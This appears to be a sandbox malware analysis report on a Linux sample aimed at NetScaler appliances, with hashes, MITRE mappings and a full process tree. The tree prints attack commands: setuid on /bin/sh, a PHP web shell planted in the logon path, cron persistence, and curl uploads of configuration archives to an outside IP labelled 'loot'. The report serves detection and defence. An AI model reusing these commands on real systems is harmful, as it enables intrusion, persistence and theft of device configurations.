b9bc8d87ef77f63082445f5664e02a84db568f6d8147e077b97dc15df9f2a36b

Analysis

max time kernel
41s
max time network
143s
platform
debian-9_mipsel
resource
debian9-mipsel-20260513-en
resource tags

arch:mipselimage:debian9-mipsel-20260513-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipselsystem
submitted
03/10/2026, 16:50

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
b9bc8d87ef77f63082445f5664e02a84db568f6d8147e077b97dc15df9f2a36b
Size 25KB
Sample261003-vcmcvaec83
SHA256 b9bc8d87ef77f63082445f5664e02a84db568f6d8147e077b97dc15df9f2a36b
MD5 df2f93ccc44711e299748af2bca30c8c
SHA1 fbcfb4a1578b8979e0330c280215966f6057c92e
SHA512 d11e60672df96a1857181130ff78c6c5c6c96ca66067025ac1f12aaeaa33c52d345af3be03d162061719238470e24abda4c71a0f79c2d5ddc4ab2d18a72cd51e
SSDEEP 768:hFxadn2345FPWdWmS1nwuxli8o7TUILRinUKtXgZC17:5Q2I5FPWdPSNwuxli8o80RinhXgZ07
TLSH
T165C2EAC17C6E5DB183D7C47CEB9AD44177675447140A2464B8BCA3BCAF68434E2F2AE8
MD5 SHA1 SHA512 SSDEEP TLSH

Score

6^/10

discovery execution persistence privilege_escalation

Malware Config

Signatures

Creates/modifies Cron job 1 TTPs 1 IoCs

Cron allows running tasks on a schedule, and is commonly used for malware persistence.

execution persistence privilege_escalation

Cron

T1053.003

description	ioc	Process
File opened for modification	/var/spool/cron/crontabs/tmp.VaGnUg	crontab

Enumerates running processes
Discovers information about currently running processes on the system

Reads CPU attributes 1 TTPs 3 IoCs

discovery

System Information Discovery

T1082

description	ioc	Process
File opened for reading	/sys/devices/system/cpu/online	ps
File opened for reading	/sys/devices/system/cpu/online	pkill
File opened for reading	/sys/devices/system/cpu/online	pkill

Command and Scripting Interpreter: Unix Shell 1 TTPs 2 IoCs

Execute scripts via Unix Shell.

execution

Unix Shell

T1059.004

pid	Process
800	sh
804	sh

Reads runtime system information 64 IoCs

Reads data from /proc virtual filesystem.

discovery

description	ioc	Process
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/4/stat	ps
File opened for reading	/proc/20/stat	ps
File opened for reading	/proc/156/status	ps
File opened for reading	/proc/1/status	pkill
File opened for reading	/proc/3/status	ps
File opened for reading	/proc/325/cmdline	ps
File opened for reading	/proc/327/status	ps
File opened for reading	/proc/708/cmdline	ps
File opened for reading	/proc/111/status	pkill
File opened for reading	/proc/24/status	pkill
File opened for reading	/proc/392/cmdline	pkill
File opened for reading	/proc/36/cmdline	ps
File opened for reading	/proc/76/status	ps
File opened for reading	/proc/708/stat	ps
File opened for reading	/proc/3/status	pkill
File opened for reading	/proc/674/status	pkill
File opened for reading	/proc/678/cmdline	pkill
File opened for reading	/proc/721/status	pkill
File opened for reading	/proc/filesystems	mkdir
File opened for reading	/proc/22/status	ps
File opened for reading	/proc/80/status	ps
File opened for reading	/proc/22/cmdline	pkill
File opened for reading	/proc/20/status	pkill
File opened for reading	/proc/8/stat	ps
File opened for reading	/proc/11/stat	ps
File opened for reading	/proc/241/cmdline	ps
File opened for reading	/proc/120/cmdline	pkill
File opened for reading	/proc/720/cmdline	pkill
File opened for reading	/proc/16/status	pkill
File opened for reading	/proc/23/cmdline	pkill
File opened for reading	/proc/77/status	pkill
File opened for reading	/proc/9/status	ps
File opened for reading	/proc/20/cmdline	pkill
File opened for reading	/proc/3/cmdline	pkill
File opened for reading	/proc/filesystems	ps
File opened for reading	/proc/70/stat	ps
File opened for reading	/proc/70/cmdline	pkill
File opened for reading	/proc/74/status	pkill
File opened for reading	/proc/171/cmdline	pkill
File opened for reading	/proc/sys/kernel/ngroups_max	id
File opened for reading	/proc/22/cmdline	ps
File opened for reading	/proc/74/status	ps
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/80/cmdline	pkill
File opened for reading	/proc/24/cmdline	ps
File opened for reading	/proc/227/stat	ps
File opened for reading	/proc/16/status	pkill
File opened for reading	/proc/227/cmdline	pkill
File opened for reading	/proc/156/stat	ps
File opened for reading	/proc/1/cmdline	pkill
File opened for reading	/proc/21/cmdline	pkill
File opened for reading	/proc/71/cmdline	pkill
File opened for reading	/proc/76/stat	ps
File opened for reading	/proc/346/cmdline	ps
File opened for reading	/proc/715/status	ps
File opened for reading	/proc/17/cmdline	pkill
File opened for reading	/proc/9/status	pkill
File opened for reading	/proc/710/status	pkill
File opened for reading	/proc/348/cmdline	ps
File opened for reading	/proc/71/status	pkill
File opened for reading	/proc/78/status	pkill
File opened for reading	/proc/12/status	ps
File opened for reading	/proc/75/status	pkill

System Network Configuration Discovery 1 TTPs 5 IoCs

Adversaries may gather information about the network configuration of a system.

discovery

System Network Configuration Discovery

T1016

pid	Process
784	pkill
800	sh
801	gzip
804	sh
805	gzip

Writes file to tmp directory 1 IoCs

Malware often drops required files in the /tmp directory.

description	ioc	Process
File opened for modification	/tmp/.slap.cron	b9bc8d87ef77f63082445f5664e02a84db568f6d8147e077b97dc15df9f2a36b

/tmp/b9bc8d87ef77f63082445f5664e02a84db568f6d8147e077b97dc15df9f2a36b
/tmp/b9bc8d87ef77f63082445f5664e02a84db568f6d8147e077b97dc15df9f2a36b
1⤵
- Writes file to tmp directory
PID:720
- /bin/mkdir
  mkdir -p /nsconfig/.slap /var/netscaler/logon/LogonPoint/custom
  2⤵
  PID:722
- /bin/cat
  cat
  2⤵
  PID:726
- /bin/cat
  cat
  2⤵
  PID:727
- /bin/mkdir
  mkdir -p /var/tmp/.ux
  2⤵
  PID:730
- /bin/cat
  cat
  2⤵
  PID:736
- /bin/cat
  cat
  2⤵
  PID:738
- /bin/cat
  cat
  2⤵
  PID:740
- /bin/chmod
  chmod 700 /nsconfig/.slap /nsconfig/.slap/agent.pl /nsconfig/.slap/bridge.pl
  2⤵
  PID:742
- /bin/cat
  cat
  2⤵
  PID:744
- /bin/chmod
  chmod 644 /var/netscaler/logon/LogonPoint/custom/.slap.receiver
  2⤵
  PID:746
- /bin/cp
  cp /var/netscaler/logon/LogonPoint/custom/.slap.receiver /var/netscaler/logon/LogonPoint/custom/.ctxs.receiver
  2⤵
  PID:748
- /bin/cp
  cp /var/netscaler/logon/LogonPoint/custom/.slap.receiver /var/netscaler/logon/LogonPoint/custom/receiver.deb
  2⤵
  PID:751
- /bin/cp
  cp /var/netscaler/logon/LogonPoint/custom/.slap.receiver /nsconfig/.slap/.slap.receiver
  2⤵
  PID:753
- /bin/cp
  cp /var/netscaler/logon/LogonPoint/custom/.slap.receiver /nsconfig/.slap/.ctxs.receiver
  2⤵
  PID:754
- /bin/cp
  cp /var/netscaler/logon/LogonPoint/custom/.slap.receiver /nsconfig/.slap/receiver.deb
  2⤵
  PID:755
- /bin/chmod
  chmod 644 /var/netscaler/logon/LogonPoint/custom/.ctxs.receiver /var/netscaler/logon/LogonPoint/custom/receiver.deb /nsconfig/.slap/.slap.receiver /nsconfig/.slap/.ctxs.receiver /nsconfig/.slap/receiver.deb
  2⤵
  PID:757
- /bin/chmod
  chmod 6555 /bin/sh
  2⤵
  PID:758
- /bin/chmod
  chmod 700 /nsconfig/.slap/boot.sh
  2⤵
  PID:760
- /usr/bin/perl
  perl -ni -e "print unless m{AliasMatch\\s+\\*/logon/LogonPoint/custom/receiver}" /etc/httpd.conf
  2⤵
  PID:761
- /bin/grep
  grep -q "Alias /logon/LogonPoint/custom/receiver.v2.min.css" /etc/httpd.conf
  2⤵
  PID:764
- /bin/cp
  cp /etc/httpd.conf /etc/httpd.conf.slap.bak
  2⤵
  PID:766
- /bin/cat
  cat
  2⤵
  PID:767
- /usr/bin/perl
  perl -pi -e "s/php_flag engine off/php_flag engine on/" /etc/httpd.conf
  2⤵
  PID:769
- /bin/grep
  grep -q "AddType application/x-httpd-php .deb" /etc/httpd.conf
  2⤵
  PID:770
- /bin/httpd
  /bin/httpd -t -f /etc/httpd.conf
  2⤵
  PID:771
- /bin/grep
  grep -q "[.]slap/agent.pl"
  2⤵
  PID:773
- /bin/ps
  ps -axww
  2⤵
  - Reads CPU attributes
  - Reads runtime system information
  PID:772
- /bin/grep
  grep -q /nsconfig/.slap/agent.pl /nsconfig/rc.netscaler
  2⤵
  PID:776
- /usr/bin/setsid
  /usr/bin/setsid /bin/perl /nsconfig/.slap/agent.pl
  2⤵
  PID:775
- /bin/perl
  /bin/perl /nsconfig/.slap/agent.pl
  2⤵
  PID:775
- /bin/grep
  grep -q /nsconfig/.slap/boot.sh /nsconfig/rc.netscaler
  2⤵
  PID:777
- /usr/bin/crontab
  crontab -l
  2⤵
  PID:778
- /bin/grep
  grep -q /nsconfig/.slap/agent.pl /tmp/.slap.cron
  2⤵
  PID:779
- /bin/grep
  grep -q /nsconfig/.slap/boot.sh /tmp/.slap.cron
  2⤵
  PID:780
- /usr/bin/crontab
  crontab /tmp/.slap.cron
  2⤵
  - Creates/modifies Cron job
  PID:781
- /usr/bin/pkill
  pkill -f /var/tmp/.ux/slapshot.py
  2⤵
  - Reads CPU attributes
  - Reads runtime system information
  PID:783
- /usr/bin/pkill
  pkill -f /var/tmp/.ux/whipd.py
  2⤵
  - Reads CPU attributes
  - Reads runtime system information
  - System Network Configuration Discovery
  PID:784
- /usr/bin/nohup
  nohup /usr/bin/python3 /var/tmp/.ux/slapshot.py --listen 127.0.0.1:9909 --pidfile /var/tmp/.ux/agent.pid
  2⤵
  PID:785
- /usr/bin/nohup
  nohup /usr/bin/python3 /var/tmp/.ux/whipd.py --bind 0.0.0.0 --port 9910 --agent 127.0.0.1:9909 --token slap --pidfile /var/tmp/.ux/whip.pid
  2⤵
  PID:786
- /bin/date
  date -u
  2⤵
  PID:787
- /usr/bin/python3
  /usr/bin/python3 /var/tmp/.ux/slapshot.py --listen 127.0.0.1:9909 --pidfile /var/tmp/.ux/agent.pid
  2⤵
  PID:785
- /usr/bin/python3
  /usr/bin/python3 /var/tmp/.ux/whipd.py --bind 0.0.0.0 --port 9910 --agent 127.0.0.1:9909 --token slap --pidfile /var/tmp/.ux/whip.pid
  2⤵
  PID:786
- /usr/bin/id
  id
  2⤵
  - Reads runtime system information
  PID:788
- /bin/uname
  uname -a
  2⤵
  PID:789
- /bin/ls
  ls -l /var/netscaler/logon/LogonPoint/custom/.slap.receiver /var/netscaler/logon/LogonPoint/custom/.ctxs.receiver /var/netscaler/logon/LogonPoint/custom/receiver.deb /etc/httpd.conf
  2⤵
  PID:790
- /bin/httpd
  /bin/httpd -t -f /etc/httpd.conf
  2⤵
  PID:791
- /bin/grep
  grep -in php /etc/httpd.conf
  2⤵
  PID:792
- /usr/bin/tail
  tail -n 80
  2⤵
  PID:793
- /bin/sed
  sed -n "1395,1425p" /etc/httpd.conf
  2⤵
  PID:794
- /usr/bin/tail
  tail -n 80 /var/log/httpd/error_log
  2⤵
  PID:795
- /usr/bin/tail
  tail -n 80 /var/log/httpd/error.log
  2⤵
  PID:796
- /usr/bin/tail
  tail -n 40 /var/log/ns.log
  2⤵
  PID:797
- /bin/mkdir
  mkdir -p /var/tmp/.s2loot
  2⤵
  - Reads runtime system information
  PID:798
- /bin/tar
  tar czf /var/tmp/.s2loot/nsconfig.tgz .
  2⤵
  PID:799
- - /bin/sh
    /bin/sh -c gzip
    3⤵
    - Command and Scripting Interpreter: Unix Shell
    - System Network Configuration Discovery
    PID:800
  - - /bin/gzip
      gzip
      4⤵
      System Network Configuration Discovery
      PID:801
- /usr/bin/curl
  curl -sk -H Expect: -m 300 -T /var/tmp/.s2loot/nsconfig.tgz http://213.209.159.55:443/t/274124/loot_nsconfig.tgz
  2⤵
  - Reads runtime system information
  PID:802
- /bin/tar
  tar czf /var/tmp/.s2loot/hist.tgz /nsconfig/ns.conf.0 /nsconfig/ns.conf.1 /nsconfig/ns.conf.2 /nsconfig/ns.conf.3 /nsconfig/ns.conf.4 /nsconfig/ns.conf.bak
  2⤵
  PID:803
- - /bin/sh
    /bin/sh -c gzip
    3⤵
    - Command and Scripting Interpreter: Unix Shell
    - System Network Configuration Discovery
    PID:804
  - - /bin/gzip
      gzip
      4⤵
      System Network Configuration Discovery
      PID:805
- /usr/bin/curl
  curl -sk -H Expect: -m 300 -T /var/tmp/.s2loot/hist.tgz http://213.209.159.55:443/t/274124/loot_nshist.tgz
  2⤵
  PID:806
- /bin/rm
  rm -rf /var/tmp/.s2loot
  2⤵
  PID:809
- /usr/bin/curl
  curl -sk -H Expect: -m 60 -T /etc/httpd.conf http://213.209.159.55:443/t/274124/loot_httpd.conf
  2⤵
  PID:810
- /usr/bin/curl
  curl -sk -H Expect: -m 60 -T /var/tmp/.slap-diag.txt http://213.209.159.55:443/t/274124/loot_diag.txt
  2⤵
  - Reads runtime system information
  PID:841

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

Unix Shell

T1059.004

Scheduled Task/Job

T1053

Cron

T1053.003

Persistence

Scheduled Task/Job

T1053

Cron

T1053.003

Privilege Escalation

Scheduled Task/Job

T1053

Cron

T1053.003

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

System Network Configuration Discovery

T1016

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

agent.pl

Path /nsconfig/.slap/agent.pl
Size 4KB
SHA256 94c5ccd3a35357b24fe9474abab665a2e6205a60d8c6a82e4016d3b94d3fb761
MD5 de6f7c87e8f5be485243441ae7ab5bd0
SHA1 7249acf88b30ad5b7bbf3c10299e16780f3d0dac
SHA512 88b9e76e1aac24b7f7806d3b8dbcd8ccda912b0f390b8fee2c18cbe5dd4d6494d579a8e0e0981fdcc1b3c2e31d8374f861d37c077d13ef1a018139e357c7f668
SSDEEP 96:IFWaH88gEe/qnao0AHt2tRqS2kJRCR7jXCtJrC9SAqCGCSeCvCSEx3a32Q:IFW+hD2tRgwt4UADH4K1Ba32Q
TLSH
T10E81CE843DFBAA7684F2D02CEFDAC41171B9849B8509E9A07D7C42BCAF45930D6F52C9
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

boot.sh

Path /nsconfig/.slap/boot.sh
Size 3KB
SHA256 af7a3af465c95e997e1476b0c2db852b26169d4a5647a445ff46a54a86a75cf8
MD5 14d4a6c791452d159199b9f53b74d98b
SHA1 4c50e3dd1031687052bb49ee8cf44b9b77ea1600
SHA512 5185f30591cf4ec5edd11471f5c7bd5d1b537e123736ee7f3afda53cdcfc7b4034237ba100f9f39cc045034cebb2205184c589a7c0c9589eed4fe1bf0488e1a8
TLSH
T1D47185F3B40E9EF62DD989BCB39D85497BC282691C252965F049B634A4BC248F0B6178
MD5 SHA1 SHA512 TLSH

Submit Download

bridge.pl

Path /nsconfig/.slap/bridge.pl
Size 697B
SHA256 f09c1bf2c6148e9e8f3a4be7b26b365fc5fdf95d768abf78a7ed770b9c5debad
MD5 bc21f7306742c9e9d2f10a3542463be2
SHA1 237ca70151ef13c42c5bbdc7c553bc561a90db08
SHA512 af47a95a1d6455c62e978ae3b8dc50cb3216968a56039bd2904c2d1cf5e70d055a21af09f187eb5663cd8c02b78b26da08ce3070c098f92390966247aa087d57
TLSH
T1E601FE204CD34B51C0FEA04AF608914792CA843B4EAAB8BE7E50478E9F04374B0F76C0
MD5 SHA1 SHA512 TLSH

Submit Download

rc.netscaler

Path /nsconfig/rc.netscaler
Size 37B
SHA256 370368e6491d9344962b6a58a771fb24e500f84e9d99379f61969e3068ed5b4b
MD5 d5800c883436ef1f94115dcab532015a
SHA1 a46bf0376f7876ce348c8a0d053762291f08ea33
SHA512 a4bb5355a14d262c50307f77c1806751ae606aff6022af4c515311a6d3f289d72f7110a9bc7c71b1af74f90ccf569dbc168646292761e2c0ad9e11c6c36034af
MD5 SHA1 SHA512

Submit Download

rc.netscaler

Path /nsconfig/rc.netscaler
Size 71B
SHA256 4c1a2751a1b474cc4873fd78d237d003a25dc45205b94577265443d65d2432d2
MD5 79b9b312be1c2b9d60a03e736eae4c5f
SHA1 09fce7d4b32dcba305a2d07f80a4292e0d4347e5
SHA512 a244df78c6246342d607320f603d85946d0b5e6d8cd723446c2c8638ae42c1ba8132b3d93a24f5923ff9f6cc5b5961885d54e77a1838990b42507efa94d3e9cc
TLSH
T17DA0024A260CEDF3CFCB9AB4D65724AA3F5142843E410521B404F2C4E8201CE7E39004
MD5 SHA1 SHA512 TLSH

Submit Download

.slap.cron

Path /tmp/.slap.cron
Size 45B
SHA256 0759755783a468f3bc18dcbfde22fdb21bb754aee300137f26ee1aa1893dd3cd
MD5 80bdf2e82a187390554f344fe42b85e5
SHA1 8fce99a4a31526033f92cb5428491d9fdf911946
SHA512 b61ac653dd02118ad48ac80add43744cac3b338aeb7ce3dee36e63ca64380330a909d3dcfaf5a2c628b3ad91efed2e9e7b0988f8b694fee000c753402f5ed580
MD5 SHA1 SHA512

Submit Download

.slap.cron

Path /tmp/.slap.cron
Size 89B
SHA256 1a7762fb2dc20ab46e650818ba79e47c9758b02f2b0fcb12a7ed15cebc7e392f
MD5 51981d72e97719cd5b287c7dbb830cfd
SHA1 e093784d86c1d60bbd0b19545644f4156cafca3b
SHA512 bc62e23c068936d26a421d72673a67417dd4edc1a2bc53ff403169ea37b05301cfb761da422b9e9fbb2e6e96ed0117e3c1b61689d3b5d03b4ca3b8f6a03d067d
TLSH
T154B0013A950CADF78A8E5AB8E3A638BE7E1643843E410561745CF2C4E82C38F7A39000
MD5 SHA1 SHA512 TLSH

Submit Download

.slap.receiver

Path /var/netscaler/logon/LogonPoint/custom/.slap.receiver
Size 493B
SHA256 9f792058552da5cbbb08693694d31a31d360be8402a3c9d41584d34e3b569be7
MD5 7279e5629e02ea3fc9392365f1c005c6
SHA1 838103a40d8530ae9a7eaaf3467aa653443b1bd7
SHA512 3040631b49a846d2c65aa11b23b366b3bfc59adbdd612462549dd421a2fdf5309114af5a078bc6b416f82ee2eabea14120da3108d73c65dd8d6c076fad3a6941
TLSH
T1F9F09E0C31E625B1CDBFBC70D75E2C08A1690001151A9A5138C25DCD1DF812D96B68E6
MD5 SHA1 SHA512 TLSH

Submit Download

tmp.VaGnUg

Path /var/spool/cron/crontabs/tmp.VaGnUg
Size 278B
SHA256 b4816fe8571b12c9da00702cf0db395e98013f5f613e65783a752994f88c81e7
MD5 b380900499d4ee97201576786e641207
SHA1 30a3240829b5ef419fcfb512f9f4751c0919efcc
SHA512 3f95ff39251618da38599d705a7790308ccf8225610b9696f6e39d8fd70f241e17eaea3d17c6305dec0b5398326166bcf8049008fffcb6f23138cc8677cb515a
TLSH
T111D02B396A04ADF38A4907B4929B283DAD41D1BC58094E21F08DB054921934F3F70451
MD5 SHA1 SHA512 TLSH

Submit Download

hist.tgz

Path /var/tmp/.s2loot/hist.tgz
Size 45B
SHA256 f81acd4c5f78c9f5e7a240995868928dc93130d3336f44932f56815949018379
MD5 81541a158c6d1ed6b6ad3098354f823d
SHA1 e5c47e01ca57d5537c13007965d84795abbab2c4
SHA512 4b9b9f71c55ed5f38f818ba8bf6da6ccbf426217c521c0eac3f81bb0ef980068f975a271292281afb817ab566757b290a896a2ffd5ced932c7a0a06e2f3bd460
MD5 SHA1 SHA512

Submit Download

nsconfig.tgz

Path /var/tmp/.s2loot/nsconfig.tgz
Size 3KB
SHA256 1a312f38d171c17e71483fd7d1481df4e1f0f56ae54076f10637c65f600845f6
MD5 cd7659daff84df5866b1a833239e41d7
SHA1 e709f5fa4609a1ed519651d4d1cae29295e77e27
SHA512 58a562443002bcf3fe00babdc6f74b3a1f68152d3b90c401f430990e2d903d6909aa0f4cf68a54151d96c78568e06616ec4a10d3ea10f71ef0b4dcf614ed4f5c
TLSH
T12B614C11CAB39351348C617374FC268E68D5B1CE154919117D25FF178A0DF71EA00BED
MD5 SHA1 SHA512 TLSH

Submit Download

.slap-agent.log

Path /var/tmp/.slap-agent.log
Size 63B
SHA256 6686e0f601f892bb8f8e47727170eb99045f66623834e5be2cb1984dfe7a88e1
MD5 2139e7e90aa4d9d126e20970e8149fbd
SHA1 ceb75170a5d023fcdabfb170ee52b2c5e83fea2b
SHA512 b0d1e4592a87f22f161b269b00f32eebba8d4ef1400d78d26c1ae9f5293321cb76e9bce56aa641ff69152096fb9234807a700b19882d1806d616003936c1c6ac
TLSH
T18DA0021259D961541A9629915319ECF68717004F2F0E1225E1704304A427A74B6DFAC2
MD5 SHA1 SHA512 TLSH

Submit Download

.slap-diag.txt

Path /var/tmp/.slap-diag.txt
Size 54B
SHA256 f7353785b14d26010976ef83d333dd8da2bef52d2fae386515d4cfb5c7039379
MD5 df5c7be190eef2492ed687e0dd9d37e8
SHA1 22927fa342c2a8878b9bd68a67699e4c8f4b5dad
SHA512 9d666ed92171fb4be171d9fe16a70b3ada0e9b936fd1c3838b28b495e4b6689659a7cc19c17efbd27110914cd1d4265e2078899022a908cb44b18242de941b99
TLSH
T15B9002B151066A25142794D678C68C09422594B9185CA5A4946983A14A82017478E601
MD5 SHA1 SHA512 TLSH

Submit Download

.slap-diag.txt

Path /var/tmp/.slap-diag.txt
Size 93B
SHA256 1b0ba759676d3d0a343ba6ba7efa13d5fd153aff3dc0c0025a35323a7f2278cc
MD5 fad9e4c2e48a71eed16710091f99eac2
SHA1 c4ecfd89fed163702911363e0a361082e7ea39dc
SHA512 c8567235b47a35a3913cf77770fe8241e41bd0e005dff93f3724124b9aa26aec45118b019c5cac5ea5707a99620aca52ecfa036a7aeac1c3c6f6e8e4b28b3423
TLSH
T1ABB01270021165122023C0E5F4E14CCB0233D8B416587C50AA98C393454110A138A101
MD5 SHA1 SHA512 TLSH

Submit Download

.slap-diag.txt

Path /var/tmp/.slap-diag.txt
Size 195B
SHA256 f685a30eb17c7c4bbefb8b30f8b32c0cae93964daef7ca6fdf40a7cd6ffb5902
MD5 04f774f1536118958ec8288532ab377e
SHA1 9e6870b45d8dfcd516a9459ebe831b979dc2a5e8
SHA512 da3a6c58ec729b3b8ad892e5804a8c48203f082738d4527fa6a78676c713b2bcbc3f7fd7a04bbe1adee0e3b78814e87c9bc9c746d04b97ab601371433208eecd
TLSH
T1D8D0C061B33133036813A0D3F4E9EDEB01339CA01E2C3B10A8DD83D1430400BA783D10
MD5 SHA1 SHA512 TLSH

Submit Download

.slap-diag.txt

Path /var/tmp/.slap-diag.txt
Size 219B
SHA256 f12f625416b47bbf7702c7562330bca8b63c9f8b54ed2959f775a5bdc7b51aa3
MD5 a93230942ea226dfb9ef999b362a7583
SHA1 69d233165106546e17ddb1445d97bbabf534a824
SHA512 4a417b6f9d4b89e71b108681040221694303de2b25e94c9105d90462bc067165afec5608d4c4c9a10305b7eb923f0f108ba1053c9526660f543086c476cfd691
TLSH
T1EED02351B33172125853A4D7F4D9EDEA013398D01D2C3A1454ED53D146040177753A15
MD5 SHA1 SHA512 TLSH

Submit Download

.slap-diag.txt

Path /var/tmp/.slap-diag.txt
Size 830B
SHA256 07d6fbc7fbbabb7a24b97e268867d14ee961a385f0c4b8a92aba069fdbae1976
MD5 02a2129536705b11e3ddcc7d72951ddd
SHA1 041c60bc0045ea0a9c7be50e770169622200ce3c
SHA512 98d347737632eee843549eba846713921723fa7175c35b3eedf3d2a3aab48c85003029b0c0504bcdb15a15eed8d81df50964a732444f2c8dcc6877c292a61f50
TLSH
T12C01CEC7B41A52336BE3DEF7BCAA4698407280A54E0D7FA81DDDA315C1020868F8AE1D
MD5 SHA1 SHA512 TLSH

Submit Download

.slap-httpd-test.log

Path /var/tmp/.slap-httpd-test.log
Size 169B
SHA256 772d9d599c3f42597bdb3c058b63e92b460b003d45a88b7abcf594757b10e411
MD5 64d6cb7cbb3bfbbc05c7479f6696cba4
SHA1 b9b1e3e41948a062085415f08ae8a11fc8cc07ba
SHA512 9991b674557c30d38a1475f8e6ba9de2698da43a4f2decc3f396fa85fd1a3690e760ea3492cf960be9538e3a39bc270ee28a7d51c79342c9bceba7621e1b9e16
TLSH
T153C080EC42400E001C0F35777CF1184D24800755DB01D7911C1844575043230DC8CDDD
MD5 SHA1 SHA512 TLSH

Submit Download

agent.log

Path /var/tmp/.ux/agent.log
Size 55B
SHA256 f5b4187739cfa91cddbb1d8fc32f5dab0a0fecb1246fdef2b6e42bc8b603a360
MD5 9221f5fae0f9dd2f6c76e51a9b834e03
SHA1 9623f59d349f79024bbae0ec7c0fe2d1b19e335a
SHA512 fd9e808d5a5228f836d66d72144ad9686bcae9867c43d5af9aef6fcc4b763601ce7deb1ca537d905acd3ac0c0857a87d9ea8f6b5f2afbf8f7ee2b6790f2ff303
TLSH
T1AA900221186070DD15A68786F1755BD7D541E406025434247E95154180958114131110
MD5 SHA1 SHA512 TLSH

Submit Download

slapshot.py

Path /var/tmp/.ux/slapshot.py
Size 7KB
SHA256 be559fb34104b8ce491082276084e76736f5a5ec6b8d05fe31adc60ec063e447
MD5 24f4f949a8df9cb4be3cf8d0cb89eb5d
SHA1 68b56277c3f88b78209fe8dfb4bbeff0b071292d
SHA512 a6ba111301443af786012e1258a77d44239de3bdd997cb8755b5f4cc97ec7236125b2999baa5e4e8f49cd2be4448bff818552db7841b9bd28483976bfd96f61d
SSDEEP 96:M56N8NbBZ2Ok7bsOwFF5r5QYm97WmVUgwyXGoFPWnXAuxuBTFiUbcjHa:wF2345FP3mdWmSgwy9WnXAuxKc3Ha
TLSH
T131F13F86AC645965C397C8965C62E4427727BC07725E1138FAFCC3E42FA887582F1EF8
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

whipd.py

Path /var/tmp/.ux/whipd.py
Size 4KB
SHA256 dc07e82e31f874c386e74bb5882c269a3d33a774a7b9772b11830bf6d33bfc7e
MD5 9753dbf79692d424d30abaf39e776a1e
SHA1 8ee23e2fc68366e9a07d8fd682bdb3539573a44f
SHA512 3a886d2a3671b85979d2afaf214efc94f5c1c4786f8d6dd7b314deb945ae39d871992d45034e8492177f016e5e630a3a37f1efdc5d74d20997261e581b523719
SSDEEP 96:kXai6ZdGd3Tgwy8rnQP71TKml0eK3uVUKigRRGLZq5XFEqhi:q6ZItgwyqQP7AgXK3umKigRRGLZqLEqI
TLSH
T125A18602586959F49343C52698E3F956E73E3917200F24A9397DD3C91F64876C2B2EFC
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v16

Replay Monitor

Loading Replay Monitor...

Downloads